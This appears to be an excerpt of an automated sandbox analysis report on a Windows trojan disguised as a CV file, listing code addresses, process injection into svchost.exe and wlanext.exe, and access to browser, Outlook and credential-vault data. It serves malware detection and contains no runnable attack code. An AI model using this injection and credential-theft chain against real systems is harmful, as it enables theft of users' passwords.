                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03ECE7604_2_03ECE760
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03ECE71E4_2_03ECE71E
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03EC7D854_2_03EC7D85
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03EC7D7C4_2_03EC7D7C
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03ED05554_2_03ED0555
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03EE6D054_2_03EE6D05
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AE03E65_2_03AE03E6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A2E3F05_2_03A2E3F0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADA3525_2_03ADA352
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AA02C05_2_03AA02C0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AC02745_2_03AC0274
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AE01AA5_2_03AE01AA
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AD81CC5_2_03AD81CC
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A101005_2_03A10100
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ABA1185_2_03ABA118
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AA81585_2_03AA8158
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A1C7C05_2_03A1C7C0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A207705_2_03A20770
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A447505_2_03A44750
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A3C6E05_2_03A3C6E0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AE05915_2_03AE0591
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A205355_2_03A20535
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ACE4F65_2_03ACE4F6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AD24465_2_03AD2446
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AD6BD75_2_03AD6BD7
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADAB405_2_03ADAB40
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A1EA805_2_03A1EA80
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A229A05_2_03A229A0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AEA9A65_2_03AEA9A6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A369625_2_03A36962
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A068B85_2_03A068B8
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A4E8F05_2_03A4E8F0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A228405_2_03A22840
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A2A8405_2_03A2A840
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A9EFA05_2_03A9EFA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A2CFE05_2_03A2CFE0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A12FC85_2_03A12FC8
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A62F285_2_03A62F28
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A40F305_2_03A40F30
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A94F405_2_03A94F40
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A32E905_2_03A32E90
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADCE935_2_03ADCE93
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADEEDB5_2_03ADEEDB
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADEE265_2_03ADEE26
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A20E595_2_03A20E59
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A38DBF5_2_03A38DBF
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A1ADE05_2_03A1ADE0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A2AD005_2_03A2AD00
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AC0CB55_2_03AC0CB5
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A10CF25_2_03A10CF2
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A20C005_2_03A20C00
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A6739A5_2_03A6739A
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AD132D5_2_03AD132D
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0D34C5_2_03A0D34C
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A252A05_2_03A252A0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AC12ED5_2_03AC12ED
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A3B2C05_2_03A3B2C0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A2B1B05_2_03A2B1B0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AEB16B5_2_03AEB16B
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A5516C5_2_03A5516C
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0F1725_2_03A0F172
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AD70E95_2_03AD70E9
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADF0E05_2_03ADF0E0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ACF0CC5_2_03ACF0CC
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A270C05_2_03A270C0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADF7B05_2_03ADF7B0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AD16CC5_2_03AD16CC
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ABD5B05_2_03ABD5B0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AD75715_2_03AD7571
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADF43F5_2_03ADF43F
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A114605_2_03A11460
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A3FB805_2_03A3FB80
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A95BF05_2_03A95BF0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A5DBF95_2_03A5DBF9
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADFB765_2_03ADFB76
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A65AA05_2_03A65AA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ABDAAC5_2_03ABDAAC
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ACDAC65_2_03ACDAC6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A93A6C5_2_03A93A6C
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADFA495_2_03ADFA49
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AD7A465_2_03AD7A46
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A299505_2_03A29950
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A3B9505_2_03A3B950
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A238E05_2_03A238E0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A8D8005_2_03A8D800
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADFFB15_2_03ADFFB1
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A21F925_2_03A21F92
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADFF095_2_03ADFF09
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A29EB05_2_03A29EB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A3FDC05_2_03A3FDC0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AD7D735_2_03AD7D73
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A23D405_2_03A23D40
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03AD1D5A5_2_03AD1D5A
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03ADFCF25_2_03ADFCF2
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A99C325_2_03A99C32
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03251CB05_2_03251CB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_032553705_2_03255370
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_032535395_2_03253539
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0325357B5_2_0325357B
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_032535805_2_03253580
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0326BB205_2_0326BB20
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0324CBA05_2_0324CBA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0324CB975_2_0324CB97
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0324AF005_2_0324AF00
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0324AEF55_2_0324AEF5
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0324ADB05_2_0324ADB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0324CDC05_2_0324CDC0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038EE3335_2_038EE333
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038EE2145_2_038EE214
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038ED7985_2_038ED798
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038EE6CC5_2_038EE6CC
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: String function: 03A8EA12 appears 86 times
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: String function: 03A0B970 appears 272 times
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: String function: 03A67E54 appears 97 times
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: String function: 03A55130 appears 37 times
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: String function: 03A9F290 appears 105 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 034BF290 appears 105 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 034AEA12 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0342B970 appears 268 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03475130 appears 36 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03487E54 appears 95 times
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: String function: 00B4F8A0 appears 35 times
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: String function: 00B46AC0 appears 42 times
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: String function: 00B3EC2F appears 68 times
                Source: CV_ Filipa Barbosa.exe, 00000000.00000003.1380872450.0000000003E0D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs CV_ Filipa Barbosa.exe
                Source: CV_ Filipa Barbosa.exe, 00000000.00000003.1380211484.0000000003C13000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs CV_ Filipa Barbosa.exe
                Source: CV_ Filipa Barbosa.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/3@12/9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B6CE7A GetLastError,FormatMessageW,0_2_00B6CE7A
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B5AB84 AdjustTokenPrivileges,CloseHandle,0_2_00B5AB84
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B5B134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_00B5B134
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B6E1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_00B6E1FD
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B66532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,0_2_00B66532
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B7C18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,0_2_00B7C18C
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B2406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_00B2406B
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeFile created: C:\Users\user\AppData\Local\Temp\autACBA.tmpJump to behavior
                Source: CV_ Filipa Barbosa.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: wlanext.exe, 00000005.00000002.3228625011.000000000360D000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1944891375.00000000035D8000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3228625011.00000000035D8000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1944891375.000000000360D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: CV_ Filipa Barbosa.exeReversingLabs: Detection: 55%
                Source: unknownProcess created: C:\Users\user\Desktop\CV_ Filipa Barbosa.exe "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeProcess created: C:\Windows\SysWOW64\wlanext.exe "C:\Windows\SysWOW64\wlanext.exe"
                Source: C:\Windows\SysWOW64\wlanext.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"Jump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeProcess created: C:\Windows\SysWOW64\wlanext.exe "C:\Windows\SysWOW64\wlanext.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32Jump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: CV_ Filipa Barbosa.exeStatic file information: File size 1219584 > 1048576
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: BzEfnSVbdFtPTT.exe, 00000004.00000000.1669604535.0000000000CFE000.00000002.00000001.01000000.00000005.sdmp, BzEfnSVbdFtPTT.exe, 00000006.00000002.3228371451.0000000000CFE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: CV_ Filipa Barbosa.exe, 00000000.00000003.1380872450.0000000003CE0000.00000004.00001000.00020000.00000000.sdmp, CV_ Filipa Barbosa.exe, 00000000.00000003.1376110379.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1647650191.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1645383456.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1747604342.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1747604342.000000000359E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3230253073.00000000039E0000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1749306818.0000000003831000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3230253073.0000000003B7E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1746447331.000000000365A000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: CV_ Filipa Barbosa.exe, 00000000.00000003.1380872450.0000000003CE0000.00000004.00001000.00020000.00000000.sdmp, CV_ Filipa Barbosa.exe, 00000000.00000003.1376110379.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1647650191.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1645383456.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1747604342.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1747604342.000000000359E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, wlanext.exe, 00000005.00000002.3230253073.00000000039E0000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1749306818.0000000003831000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3230253073.0000000003B7E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1746447331.000000000365A000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wlanext.pdb source: svchost.exe, 00000002.00000003.1715458538.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1715540319.0000000002E2D000.00000004.00000020.00020000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000004.00000002.3229099601.0000000000E17000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wlanext.pdbGCTL source: svchost.exe, 00000002.00000003.1715458538.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1715540319.0000000002E2D000.00000004.00000020.00020000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000004.00000002.3229099601.0000000000E17000.00000004.00000020.00020000.00000000.sdmp
                Source: CV_ Filipa Barbosa.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: CV_ Filipa Barbosa.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: CV_ Filipa Barbosa.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: CV_ Filipa Barbosa.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: CV_ Filipa Barbosa.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B3E01E LoadLibraryA,GetProcAddress,0_2_00B3E01E
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B46B05 push ecx; ret 0_2_00B46B18
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00403250 push eax; ret 2_2_00403252
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417409 push ebp; retf 2_2_0041740A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00404CD3 push esp; retf 2_2_00404CD8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034309AD push ecx; mov dword ptr [esp], ecx2_2_034309B6
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03ECF39B push ebp; retf 4_2_03ECF39C
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03EBCC65 push esp; retf 4_2_03EBCC6A
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A109AD push ecx; mov dword ptr [esp], ecx5_2_03A109B6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03258350 push esi; iretd 5_2_0325835A
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_032541B6 push ebp; retf 5_2_032541B7
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03241A80 push esp; retf 5_2_03241A85
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0325BFE0 push esp; iretd 5_2_0325BFE1
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0325DD80 push edi; ret 5_2_0325DD8C
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038E53B5 push edx; iretd 5_2_038E53B6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038E73C7 push ebp; retf 5_2_038E73C8
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038E63F9 push ds; retf 5_2_038E63FC
